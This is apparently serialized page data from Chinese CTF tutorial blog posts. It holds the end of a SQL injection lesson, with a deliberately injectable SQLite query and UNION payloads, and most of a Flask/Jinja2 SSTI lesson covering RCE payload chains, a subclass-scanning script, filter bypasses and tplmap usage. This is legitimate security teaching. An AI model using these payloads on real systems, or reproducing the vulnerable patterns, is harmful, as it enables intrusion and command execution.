TEXT);\n",[111,6089,6090],{"class":113,"line":490},[111,6091,5132],{},[111,6093,6094],{"class":113,"line":496},[111,6095,6096],{},"''')\n",[111,6098,6099],{"class":113,"line":502},[111,6100,6101],{},"# executescript：一次性执行多条 SQL，建表并插入测试数据。\n",[111,6103,6104],{"class":113,"line":508},[111,6105,452],{"emptyLinePlaceholder":451},[111,6107,6108],{"class":113,"line":514},[111,6109,6110],{},"def query(id_):\n",[111,6112,6113],{"class":113,"line":520},[111,6114,6115],{},"    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n",[111,6117,6118],{"class":113,"line":526},[111,6119,6120],{},"    cur = conn.cursor()\n",[111,6122,6123],{"class":113,"line":532},[111,6124,6125],{},"    # cursor()：创建游标对象，用于执行 SQL。\n",[111,6127,6128],{"class":113,"line":537},[111,6129,6130],{},"    try:\n",[111,6132,6133],{"class":113,"line":543},[111,6134,6135],{},"        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n",[111,6137,6138],{"class":113,"line":549},[111,6139,6140],{},"        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n",[111,6142,6143],{"class":113,"line":555},[111,6144,6145],{},"        return str(cur.fetchall())\n",[111,6147,6148],{"class":113,"line":561},[111,6149,6150],{},"        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n",[111,6152,6153],{"class":113,"line":567},[111,6154,6155],{},"    except Exception as e:\n",[111,6157,6158],{"class":113,"line":573},[111,6159,6160],{},"        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n",[111,6162,6163],{"class":113,"line":579},[111,6164,6165],{},"        return \"ERROR: \" + str(e)\n",[111,6167,6168],{"class":113,"line":584},[111,6169,452],{"emptyLinePlaceholder":451},[111,6171,6172],{"class":113,"line":590},[111,6173,6174],{},"print(query(\"1\"))\n",[111,6176,6177],{"class":113,"line":596},[111,6178,6179],{},"print(query(\"1'\"))\n",[111,6181,6182],{"class":113,"line":601},[111,6183,6184],{},"print(query(\"1 AND 1=1\"))\n",[111,6186,6187],{"class":113,"line":607},[111,6188,6189],{},"print(query(\"1 AND 1=2\"))\n",[111,6191,6192],{"class":113,"line":613},[111,6193,6194],{},"print(query(\"1 ORDER BY 3\"))\n",[111,6196,6197],{"class":113,"line":619},[111,6198,6199],{},"print(query(\"-1 UNION SELECT 1,2,3-- \"))\n",[111,6201,6202],{"class":113,"line":625},[111,6203,6204],{},"print(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\n",[111,6206,6207],{"class":113,"line":630},[111,6208,6209],{},"print(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[15,6211,6212],{},"运行：",[102,6214,6216],{"className":104,"code":6215,"language":106,"meta":107,"style":107},"python3 sim.py\n",[19,6217,6218],{"__ignoreMap":107},[111,6219,6220,6222],{"class":113,"line":114},[111,6221,3105],{"class":117},[111,6223,6224],{"class":121}," sim.py\n",[15,6226,185],{},[102,6228,6231],{"className":6229,"code":6230,"language":191,"meta":107},[189],"[(1, 'hello', 'world')]\nERROR: unrecognized token: \"'\"\n[(1, 'hello', 'world')]\n[]\n[(1, 'hello', 'world')]\n[(1, 2, 3)]\n[(1, 'articles,flag', 3)]\n[(1, 'flag{sql_injection}', 3)]\n",[19,6232,6230],{"__ignoreMap":107},[15,6234,6235],{},"逐行对应：",[32,6237,6238,6251],{},[35,6239,6240],{},[38,6241,6242,6245,6248],{},[41,6243,6244],{},"输入",[41,6246,6247],{},"输出",[41,6249,6250],{},"结论",[51,6252,6253,6266,6279,6291,6304,6317,6332,6345],{},[38,6254,6255,6260,6263],{},[56,6256,6257],{},[19,6258,6259],{},"1",[56,6261,6262],{},"正常记录",[56,6264,6265],{},"基线",[38,6267,6268,6273,6276],{},[56,6269,6270],{},[19,6271,6272],{},"1'",[56,6274,6275],{},"语法错误",[56,6277,6278],{},"注入点存在",[38,6280,6281,6286,6288],{},[56,6282,6283],{},[19,6284,6285],{},"1 AND 1=1",[56,6287,6262],{},[56,6289,6290],{},"条件真",[38,6292,6293,6298,6301],{},[56,6294,6295],{},[19,6296,6297],{},"1 AND 1=2",[56,6299,6300],{},"空",[56,6302,6303],{},"条件假",[38,6305,6306,6311,6314],{},[56,6307,6308],{},[19,6309,6310],{},"1 ORDER BY 3",[56,6312,6313],{},"正常",[56,6315,6316],{},"至少 3 列",[38,6318,6319,6324,6329],{},[56,6320,6321],{},[19,6322,6323],{},"-1 UNION SELECT 1,2,3",[56,6325,6326],{},[19,6327,6328],{},"(1, 2, 3)",[56,6330,6331],{},"3 列且回显",[38,6333,6334,6337,6342],{},[56,6335,6336],{},"查 sqlite_master",[56,6338,6339],{},[19,6340,6341],{},"articles,flag",[56,6343,6344],{},"表名（SQLite 的元数据表；MySQL 用 information_schema.tables）",[38,6346,6347,6350,6354],{},[56,6348,6349],{},"查 flag 表",[56,6351,6352],{},[19,6353,5587],{},[56,6355,6356],{},"拿到 flag",[10,6358,6360],{"id":6359},"九小结","九、小结",[15,6362,6363,6364,6367],{},"SQL 注入主线：",[24,6365,6366],{},"判断注入点 → UNION 逐层拿数据（列数→库→表→列→数据）→ 盲注兜底 → sqlmap 加速 → 参数化防御","。练完 sqli-labs 前 10 关即可掌握全部内容。",[1035,6369,6370],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":107,"searchDepth":140,"depth":140,"links":6372},[6373,6374,6375,6376,6377,6378,6379,6380,6381],{"id":4994,"depth":448,"text":4995},{"id":5046,"depth":448,"text":5047},{"id":5200,"depth":448,"text":5201},{"id":5358,"depth":448,"text":5359},{"id":5596,"depth":448,"text":5597},{"id":5842,"depth":448,"text":5843},{"id":5963,"depth":448,"text":5964},{"id":6027,"depth":448,"text":6028},{"id":6359,"depth":448,"text":6360},"SQL 注入环境搭建、注入点判断、UNION 五步拖库、盲注脚本、sqlmap 自动化、参数化防御。",{"date":1051,"image":6384,"alt":6385,"tags":6386,"published":451},"/blogs-img/blog5.png","SQL 注入深入实战",[1055,6387,6388,2357],"web","sql注入","/blogs/ctf-web-sql-injection-deep-dive",{"title":4989,"description":6382},"blogs/14. ctf-web-sql-injection-deep-dive","ayEbnZAfIhYBpMrKx07Y9pgkSt5Y7VQ7rhq2f05H6Ns",{"id":6394,"title":6395,"body":6396,"description":7442,"extension":1049,"meta":7443,"navigation":451,"ogImage":7444,"path":7448,"seo":7449,"stem":7450,"__hash__":7451},"content/blogs/15. ctf-web-ssti-deep-dive.md","SSTI 深入实战：探测、RCE 链与绕过",{"type":7,"value":6397,"toc":7432},[6398,6402,6405,6448,6459,6462,6471,6477,6481,6495,6500,6553,6555,6567,6571,6576,6589,6593,6609,6611,6633,6637,6653,6655,6673,6683,6687,6754,6758,6763,6796,6805,6809,6815,6819,6825,6828,6844,6846,6864,6867,6883,6885,6903,6916,6924,6935,6942,6948,6951,7029,7035,7038,7044,7048,7060,7069,7081,7085,7091,7095,7101,7110,7112,7116,7162,7166,7209,7215,7219,7222,7291,7295,7304,7308,7313,7328,7334,7338,7353,7382,7385,7391,7395,7403,7406,7412,7414,7429],[10,6399,6401],{"id":6400},"一现实背景模板引擎的正确与错误用法","一、现实背景：模板引擎的正确与错误用法",[15,6403,6404],{},"Web 开发常用模板引擎把数据渲染成 HTML。Flask 的正确写法：",[102,6406,6408],{"className":431,"code":6407,"language":433,"meta":107,"style":107},"from flask import Flask, render_template\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    return render_template(\"hello.html\", name=name)\n",[19,6409,6410,6415,6419,6424,6428,6433,6438,6443],{"__ignoreMap":107},[111,6411,6412],{"class":113,"line":114},[111,6413,6414],{},"from flask import Flask, render_template\n",[111,6416,6417],{"class":113,"line":140},[111,6418,452],{"emptyLinePlaceholder":451},[111,6420,6421],{"class":113,"line":448},[111,6422,6423],{},"app = Flask(__name__)\n",[111,6425,6426],{"class":113,"line":455},[111,6427,452],{"emptyLinePlaceholder":451},[111,6429,6430],{"class":113,"line":461},[111,6431,6432],{},"@app.route(\"/\")\n",[111,6434,6435],{"class":113,"line":467},[111,6436,6437],{},"def index():\n",[111,6439,6440],{"class":113,"line":473},[111,6441,6442],{},"    name = request.args.get(\"name\", \"world\")\n",[111,6444,6445],{"class":113,"line":479},[111,6446,6447],{},"    return render_template(\"hello.html\", name=name)\n",[15,6449,6450,6451,6454,6455,6458],{},"模板文件 ",[19,6452,6453],{},"hello.html"," 内容是固定的 ",[19,6456,6457],{},"\u003Ch1>Hello, {{ name }}!\u003C/h1>","，用户输入只是参数值。",[15,6460,6461],{},"错误写法是把用户输入拼进模板字符串：",[102,6463,6465],{"className":431,"code":6464,"language":433,"meta":107,"style":107},"return render_template_string(\"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\", name=name)\n",[19,6466,6467],{"__ignoreMap":107},[111,6468,6469],{"class":113,"line":114},[111,6470,6464],{},[15,6472,6473,6476],{},[19,6474,6475],{},"{{ ... }}"," 里的表达式会被求值。用户输入进入模板字符串，就形成了模板注入（SSTI）。",[10,6478,6480],{"id":6479},"二环境搭建","二、环境搭建",[102,6482,6484],{"className":104,"code":6483,"language":106,"meta":107,"style":107},"pip install flask\n",[19,6485,6486],{"__ignoreMap":107},[111,6487,6488,6490,6492],{"class":113,"line":114},[111,6489,3683],{"class":117},[111,6491,122],{"class":121},[111,6493,6494],{"class":121}," flask\n",[15,6496,2420,6497,293],{},[19,6498,6499],{},"app.py",[102,6501,6503],{"className":431,"code":6502,"language":433,"meta":107,"style":107},"from flask import Flask, request, render_template_string\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n    return render_template_string(html, name=name)\n\napp.run(host=\"0.0.0.0\", port=5000)\n",[19,6504,6505,6510,6514,6518,6522,6526,6530,6534,6539,6544,6548],{"__ignoreMap":107},[111,6506,6507],{"class":113,"line":114},[111,6508,6509],{},"from flask import Flask, request, render_template_string\n",[111,6511,6512],{"class":113,"line":140},[111,6513,452],{"emptyLinePlaceholder":451},[111,6515,6516],{"class":113,"line":448},[111,6517,6423],{},[111,6519,6520],{"class":113,"line":455},[111,6521,452],{"emptyLinePlaceholder":451},[111,6523,6524],{"class":113,"line":461},[111,6525,6432],{},[111,6527,6528],{"class":113,"line":467},[111,6529,6437],{},[111,6531,6532],{"class":113,"line":473},[111,6533,6442],{},[111,6535,6536],{"class":113,"line":479},[111,6537,6538],{},"    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n",[111,6540,6541],{"class":113,"line":484},[111,6542,6543],{},"    return render_template_string(html, name=name)\n",[111,6545,6546],{"class":113,"line":490},[111,6547,452],{"emptyLinePlaceholder":451},[111,6549,6550],{"class":113,"line":496},[111,6551,6552],{},"app.run(host=\"0.0.0.0\", port=5000)\n",[15,6554,6212],{},[102,6556,6558],{"className":104,"code":6557,"language":106,"meta":107,"style":107},"python app.py\n",[19,6559,6560],{"__ignoreMap":107},[111,6561,6562,6564],{"class":113,"line":114},[111,6563,433],{"class":117},[111,6565,6566],{"class":121}," app.py\n",[10,6568,6570],{"id":6569},"三核心步骤-1探测","三、核心步骤 1：探测",[15,6572,6573,6575],{},[24,6574,162],{},"：确认\"用户输入被当作模板代码求值\"。",[15,6577,6578,6580,6581,6584,6585,6588],{},[24,6579,292],{},"：模板引擎会执行 ",[19,6582,6583],{},"{{ 表达式 }}","。传 ",[19,6586,6587],{},"{{7*7}}","，若响应出现 49，说明表达式被求值，注入成立。先做这一步，再考虑 RCE。",[154,6590,6592],{"id":6591},"_31-正常请求","3.1 正常请求",[102,6594,6596],{"className":104,"code":6595,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:5000/?name=alice\"\n",[19,6597,6598],{"__ignoreMap":107},[111,6599,6600,6602,6604,6607],{"class":113,"line":114},[111,6601,5234],{"class":117},[111,6603,5237],{"class":1431},[111,6605,6606],{"class":121},"http://127.0.0.1:5000/?name=alice",[111,6608,5243],{"class":1431},[15,6610,351],{},[102,6612,6616],{"className":6613,"code":6614,"language":6615,"meta":107,"style":107},"language-html shiki shiki-themes dracula","\u003Ch1>Hello, alice!\u003C/h1>\n","html",[19,6617,6618],{"__ignoreMap":107},[111,6619,6620,6623,6626,6629,6631],{"class":113,"line":114},[111,6621,6622],{"class":219},"\u003C",[111,6624,6625],{"class":315},"h1",[111,6627,6628],{"class":219},">Hello, alice!\u003C/",[111,6630,6625],{"class":315},[111,6632,1109],{"class":219},[154,6634,6636],{"id":6635},"_32-表达式求值","3.2 表达式求值",[102,6638,6640],{"className":104,"code":6639,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:5000/?name={{7*7}}\"\n",[19,6641,6642],{"__ignoreMap":107},[111,6643,6644,6646,6648,6651],{"class":113,"line":114},[111,6645,5234],{"class":117},[111,6647,5237],{"class":1431},[111,6649,6650],{"class":121},"http://127.0.0.1:5000/?name={{7*7}}",[111,6652,5243],{"class":1431},[15,6654,351],{},[102,6656,6658],{"className":6613,"code":6657,"language":6615,"meta":107,"style":107},"\u003Ch1>Hello, 49!\u003C/h1>\n",[19,6659,6660],{"__ignoreMap":107},[111,6661,6662,6664,6666,6669,6671],{"class":113,"line":114},[111,6663,6622],{"class":219},[111,6665,6625],{"class":315},[111,6667,6668],{"class":219},">Hello, 49!\u003C/",[111,6670,6625],{"class":315},[111,6672,1109],{"class":219},[15,6674,6675,6678,6679,6682],{},[19,6676,6677],{},"7*7"," 被求值成 ",[19,6680,6681],{},"49","，说明模板表达式生效，SSTI 成立。",[154,6684,6686],{"id":6685},"_33-其他引擎的探测语法","3.3 其他引擎的探测语法",[32,6688,6689,6702],{},[35,6690,6691],{},[38,6692,6693,6696,6699],{},[41,6694,6695],{},"引擎",[41,6697,6698],{},"语言",[41,6700,6701],{},"探测 payload",[51,6703,6704,6716,6729,6741],{},[38,6705,6706,6709,6712],{},[56,6707,6708],{},"Jinja2 / Twig",[56,6710,6711],{},"Python / PHP",[56,6713,6714],{},[19,6715,6587],{},[38,6717,6718,6721,6724],{},[56,6719,6720],{},"Freemarker",[56,6722,6723],{},"Java",[56,6725,6726],{},[19,6727,6728],{},"${7*7}",[38,6730,6731,6734,6736],{},[56,6732,6733],{},"Velocity",[56,6735,6723],{},[56,6737,6738],{},[19,6739,6740],{},"#set($x=7*7)$x",[38,6742,6743,6746,6749],{},[56,6744,6745],{},"Smarty",[56,6747,6748],{},"PHP",[56,6750,6751],{},[19,6752,6753],{},"{$smarty.version}",[10,6755,6757],{"id":6756},"四核心步骤-2一条-rce-链","四、核心步骤 2：一条 RCE 链",[15,6759,6760,6762],{},[24,6761,162],{},"：从\"能算数\"提升到\"能执行系统命令\"。",[15,6764,6765,6767,6768,6771,6772,918,6775,918,6778,6781,6782,6785,6786,6788,6789,6792,6793,27],{},[24,6766,292],{},"：模板只能访问少量对象（如 ",[19,6769,6770],{},"config","）。Python 对象有 ",[19,6773,6774],{},"__class__",[19,6776,6777],{},"__init__",[19,6779,6780],{},"__globals__"," 等内部属性，沿着它们可以摸到模块全局命名空间，从而拿到 ",[19,6783,6784],{},"os"," 模块。验证方式：先执行 ",[19,6787,5209],{},"，输出 ",[19,6790,6791],{},"uid=..."," 即成功，再换 ",[19,6794,6795],{},"cat /flag",[15,6797,6798,6799,6801,6802,6804],{},"目标是执行系统命令。Jinja2 模板中可以直接访问 Flask 的 ",[19,6800,6770],{}," 对象，沿 Python 内部属性找到 ",[19,6803,6784],{}," 模块。",[154,6806,6808],{"id":6807},"_41-分步理解","4.1 分步理解",[102,6810,6813],{"className":6811,"code":6812,"language":191,"meta":107},[189],"config                                  → Flask 配置对象\nconfig.__class__                        → 它的类（Config）\nconfig.__class__.__init__               → Config 的构造函数\nconfig.__class__.__init__.__globals__   → 构造函数所在模块的全局命名空间（字典）\n__globals__['os']                       → os 模块\nos.popen('id').read()                   → 执行命令并读取输出\n",[19,6814,6812],{"__ignoreMap":107},[154,6816,6818],{"id":6817},"_42-完整-payload","4.2 完整 payload",[102,6820,6823],{"className":6821,"code":6822,"language":191,"meta":107},[189],"{{config.__class__.__init__.__globals__['os'].popen('id').read()}}\n",[19,6824,6822],{"__ignoreMap":107},[15,6826,6827],{},"用 curl 发送：",[102,6829,6831],{"className":104,"code":6830,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}\"\n",[19,6832,6833],{"__ignoreMap":107},[111,6834,6835,6837,6839,6842],{"class":113,"line":114},[111,6836,5234],{"class":117},[111,6838,5237],{"class":1431},[111,6840,6841],{"class":121},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}",[111,6843,5243],{"class":1431},[15,6845,351],{},[102,6847,6849],{"className":6613,"code":6848,"language":6615,"meta":107,"style":107},"\u003Ch1>Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/h1>\n",[19,6850,6851],{"__ignoreMap":107},[111,6852,6853,6855,6857,6860,6862],{"class":113,"line":114},[111,6854,6622],{"class":219},[111,6856,6625],{"class":315},[111,6858,6859],{"class":219},">Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/",[111,6861,6625],{"class":315},[111,6863,1109],{"class":219},[15,6865,6866],{},"命令执行成功。读 flag：",[102,6868,6870],{"className":104,"code":6869,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}\"\n",[19,6871,6872],{"__ignoreMap":107},[111,6873,6874,6876,6878,6881],{"class":113,"line":114},[111,6875,5234],{"class":117},[111,6877,5237],{"class":1431},[111,6879,6880],{"class":121},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}",[111,6882,5243],{"class":1431},[15,6884,351],{},[102,6886,6888],{"className":6613,"code":6887,"language":6615,"meta":107,"style":107},"\u003Ch1>Hello, flag{ssti_rce}!\u003C/h1>\n",[19,6889,6890],{"__ignoreMap":107},[111,6891,6892,6894,6896,6899,6901],{"class":113,"line":114},[111,6893,6622],{"class":219},[111,6895,6625],{"class":315},[111,6897,6898],{"class":219},">Hello, flag{ssti_rce}!\u003C/",[111,6900,6625],{"class":315},[111,6902,1109],{"class":219},[15,6904,6905,293,6913,6915],{},[24,6906,6907,6908,6910,6911],{},"为什么先试 ",[19,6909,5209],{}," 再试 ",[19,6912,6795],{},[19,6914,5209],{}," 只读当前用户信息，无副作用，适合验证命令是否真的执行；确认能执行后再读 flag，避免在 payload 有误时盲目尝试。",[154,6917,6919,6920,6923],{"id":6918},"_43-备选链subclasses-扫描","4.3 备选链：",[24,6921,6922],{},"subclasses"," 扫描",[15,6925,6926,6928,6929,6931,6932,27],{},[24,6927,162],{},"：当 ",[19,6930,6770],{}," 链被过滤或不可用时，用\"从 object 找所有子类\"的通用路径定位 ",[19,6933,6934],{},"subprocess.Popen",[15,6936,6937,6939,6940,293],{},[19,6938,6770],{}," 链不可用时，从字符串对象出发找 ",[19,6941,6934],{},[102,6943,6946],{"className":6944,"code":6945,"language":191,"meta":107},[189],"''.__class__.__mro__[1].__subclasses__()\n",[19,6947,6945],{"__ignoreMap":107},[15,6949,6950],{},"先用 Python 脚本找下标：",[102,6952,6954],{"className":431,"code":6953,"language":433,"meta":107,"style":107},"import requests\n\nurl = \"http://127.0.0.1:5000/\"\nfor i in range(500):\n    # 逐个尝试子类下标 0..499，把类名渲染出来。\n    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n    # ''：空字符串对象；.__class__：它的类 str；\n    # .__mro__[1]：继承链上的 object 类；\n    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n    # .__name__：该类的名字，会渲染到页面。\n    r = requests.get(url, params={\"name\": payload})\n    if \"Popen\" in r.text:\n        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n        print(\"Popen index:\", i)\n        break\n",[19,6955,6956,6961,6965,6970,6975,6980,6985,6990,6995,7000,7005,7010,7015,7020,7025],{"__ignoreMap":107},[111,6957,6958],{"class":113,"line":114},[111,6959,6960],{},"import requests\n",[111,6962,6963],{"class":113,"line":140},[111,6964,452],{"emptyLinePlaceholder":451},[111,6966,6967],{"class":113,"line":448},[111,6968,6969],{},"url = \"http://127.0.0.1:5000/\"\n",[111,6971,6972],{"class":113,"line":455},[111,6973,6974],{},"for i in range(500):\n",[111,6976,6977],{"class":113,"line":461},[111,6978,6979],{},"    # 逐个尝试子类下标 0..499，把类名渲染出来。\n",[111,6981,6982],{"class":113,"line":467},[111,6983,6984],{},"    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n",[111,6986,6987],{"class":113,"line":473},[111,6988,6989],{},"    # ''：空字符串对象；.__class__：它的类 str；\n",[111,6991,6992],{"class":113,"line":479},[111,6993,6994],{},"    # .__mro__[1]：继承链上的 object 类；\n",[111,6996,6997],{"class":113,"line":484},[111,6998,6999],{},"    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n",[111,7001,7002],{"class":113,"line":490},[111,7003,7004],{},"    # .__name__：该类的名字，会渲染到页面。\n",[111,7006,7007],{"class":113,"line":496},[111,7008,7009],{},"    r = requests.get(url, params={\"name\": payload})\n",[111,7011,7012],{"class":113,"line":502},[111,7013,7014],{},"    if \"Popen\" in r.text:\n",[111,7016,7017],{"class":113,"line":508},[111,7018,7019],{},"        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n",[111,7021,7022],{"class":113,"line":514},[111,7023,7024],{},"        print(\"Popen index:\", i)\n",[111,7026,7027],{"class":113,"line":520},[111,7028,797],{},[15,7030,351,7031,7034],{},[19,7032,7033],{},"Popen index: 258","（数字因 Python 版本而异）。",[15,7036,7037],{},"然后利用：",[102,7039,7042],{"className":7040,"code":7041,"language":191,"meta":107},[189],"{{''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()[0]}}\n# Popen('id', shell=True, stdout=-1)：\n#   shell=True 表示通过 /bin/sh 执行字符串命令；\n#   stdout=-1 表示把标准输出接到管道；\n#   .communicate()[0]：等待进程结束并取标准输出。\n",[19,7043,7041],{"__ignoreMap":107},[10,7045,7047],{"id":7046},"五核心步骤-3过滤绕过","五、核心步骤 3：过滤绕过",[15,7049,7050,7052,7053,918,7056,7059],{},[24,7051,162],{},"：题目过滤 ",[19,7054,7055],{},".",[19,7057,7058],{},"[]","、关键词时，用等价写法表达同样的调用。",[15,7061,7062,7064,7065,7068],{},[24,7063,292],{},"：点号访问可以用 Jinja2 的 ",[19,7066,7067],{},"attr"," 过滤器替代；字符串可以被拆到 URL 参数里，让模板中不出现被过滤的关键词。验证方式：逐步替换被过滤的部分，直到 payload 能被完整执行。",[15,7070,7071,7072,918,7074,918,7077,7080],{},"题目常过滤 ",[19,7073,7055],{},[19,7075,7076],{},"[",[19,7078,7079],{},"]"," 或关键词。",[154,7082,7084],{"id":7083},"_51-用-attr-过滤器替代点号","5.1 用 attr 过滤器替代点号",[102,7086,7089],{"className":7087,"code":7088,"language":191,"meta":107},[189],"{{config|attr('__class__')|attr('__init__')|attr('__globals__')}}\n",[19,7090,7088],{"__ignoreMap":107},[154,7092,7094],{"id":7093},"_52-把敏感字符串放进-url-参数","5.2 把敏感字符串放进 URL 参数",[102,7096,7099],{"className":7097,"code":7098,"language":191,"meta":107},[189],"/?name={{config.__class__.__init__.__globals__[request.args.g].popen(request.args.c).read()}}&g=os&c=cat /flag\n",[19,7100,7098],{"__ignoreMap":107},[15,7102,7103,7104,918,7106,7109],{},"模板里不再出现 ",[19,7105,6784],{},[19,7107,7108],{},"cat"," 等关键词，可绕过字符串匹配类过滤器。",[10,7111,863],{"id":862},[154,7113,7115],{"id":7114},"工具-1curl","工具 1：curl",[102,7117,7119],{"className":104,"code":7118,"language":106,"meta":107,"style":107},"curl \"http://target/?name={{7*7}}\"          # 探测\ncurl -G \"http://target/\" --data-urlencode \"name={{...}}\"   # 自动 URL 编码\n",[19,7120,7121,7135],{"__ignoreMap":107},[111,7122,7123,7125,7127,7130,7132],{"class":113,"line":114},[111,7124,5234],{"class":117},[111,7126,5237],{"class":1431},[111,7128,7129],{"class":121},"http://target/?name={{7*7}}",[111,7131,5877],{"class":1431},[111,7133,7134],{"class":259},"          # 探测\n",[111,7136,7137,7139,7142,7144,7147,7149,7152,7154,7157,7159],{"class":113,"line":140},[111,7138,5234],{"class":117},[111,7140,7141],{"class":248}," -G",[111,7143,5237],{"class":1431},[111,7145,7146],{"class":121},"http://target/",[111,7148,5877],{"class":1431},[111,7150,7151],{"class":248}," --data-urlencode",[111,7153,5237],{"class":1431},[111,7155,7156],{"class":121},"name={{...}}",[111,7158,5877],{"class":1431},[111,7160,7161],{"class":259},"   # 自动 URL 编码\n",[154,7163,7165],{"id":7164},"工具-2requests","工具 2：requests",[102,7167,7169],{"className":431,"code":7168,"language":433,"meta":107,"style":107},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\n# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\nprint(r.text)\n",[19,7170,7171,7175,7179,7184,7189,7194,7199,7204],{"__ignoreMap":107},[111,7172,7173],{"class":113,"line":114},[111,7174,6960],{},[111,7176,7177],{"class":113,"line":140},[111,7178,452],{"emptyLinePlaceholder":451},[111,7180,7181],{"class":113,"line":448},[111,7182,7183],{},"url = \"http://target/\"\n",[111,7185,7186],{"class":113,"line":455},[111,7187,7188],{},"payload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\n",[111,7190,7191],{"class":113,"line":461},[111,7192,7193],{},"r = requests.get(url, params={\"name\": payload})\n",[111,7195,7196],{"class":113,"line":467},[111,7197,7198],{},"# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n",[111,7200,7201],{"class":113,"line":473},[111,7202,7203],{},"# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\n",[111,7205,7206],{"class":113,"line":479},[111,7207,7208],{},"print(r.text)\n",[15,7210,7211,7214],{},[19,7212,7213],{},"params"," 自动完成 URL 编码，比手工拼接省事。",[154,7216,7218],{"id":7217},"工具-3tplmap","工具 3：tplmap",[15,7220,7221],{},"模板注入自动化工具：",[102,7223,7225],{"className":104,"code":7224,"language":106,"meta":107,"style":107},"git clone https://github.com/epinna/tplmap\ncd tplmap && pip install -r requirements.txt\npython tplmap.py -u \"http://target/?name=*\"          # * 是注入点标记\npython tplmap.py -u \"http://target/?name=*\" --os-shell\n",[19,7226,7227,7236,7255,7274],{"__ignoreMap":107},[111,7228,7229,7231,7233],{"class":113,"line":114},[111,7230,5061],{"class":117},[111,7232,5064],{"class":121},[111,7234,7235],{"class":121}," https://github.com/epinna/tplmap\n",[111,7237,7238,7240,7243,7245,7247,7249,7252],{"class":113,"line":140},[111,7239,1775],{"class":1774},[111,7241,7242],{"class":121}," tplmap",[111,7244,220],{"class":219},[111,7246,3683],{"class":117},[111,7248,122],{"class":121},[111,7250,7251],{"class":248}," -r",[111,7253,7254],{"class":121}," requirements.txt\n",[111,7256,7257,7259,7262,7264,7266,7269,7271],{"class":113,"line":448},[111,7258,433],{"class":117},[111,7260,7261],{"class":121}," tplmap.py",[111,7263,5870],{"class":248},[111,7265,5237],{"class":1431},[111,7267,7268],{"class":121},"http://target/?name=*",[111,7270,5877],{"class":1431},[111,7272,7273],{"class":259},"          # * 是注入点标记\n",[111,7275,7276,7278,7280,7282,7284,7286,7288],{"class":113,"line":455},[111,7277,433],{"class":117},[111,7279,7261],{"class":121},[111,7281,5870],{"class":248},[111,7283,5237],{"class":1431},[111,7285,7268],{"class":121},[111,7287,5877],{"class":1431},[111,7289,7290],{"class":248}," --os-shell\n",[10,7292,7294],{"id":7293},"七小-ctf-实战flask-模板题","七、小 CTF 实战：Flask 模板题",[15,7296,946,7297,7300,7301,27],{},[19,7298,7299],{},"http://target/?name="," 存在 SSTI，flag 在 ",[19,7302,7303],{},"/flag",[154,7305,7307],{"id":7306},"第一步探测","第一步：探测",[15,7309,7310,7312],{},[24,7311,162],{},"：用最便宜的请求确认漏洞类型，再决定用哪条链。",[102,7314,7316],{"className":104,"code":7315,"language":106,"meta":107,"style":107},"curl \"http://target/?name={{7*7}}\"\n",[19,7317,7318],{"__ignoreMap":107},[111,7319,7320,7322,7324,7326],{"class":113,"line":114},[111,7321,5234],{"class":117},[111,7323,5237],{"class":1431},[111,7325,7129],{"class":121},[111,7327,5243],{"class":1431},[15,7329,7330,7331,7333],{},"响应含 ",[19,7332,6681],{}," → 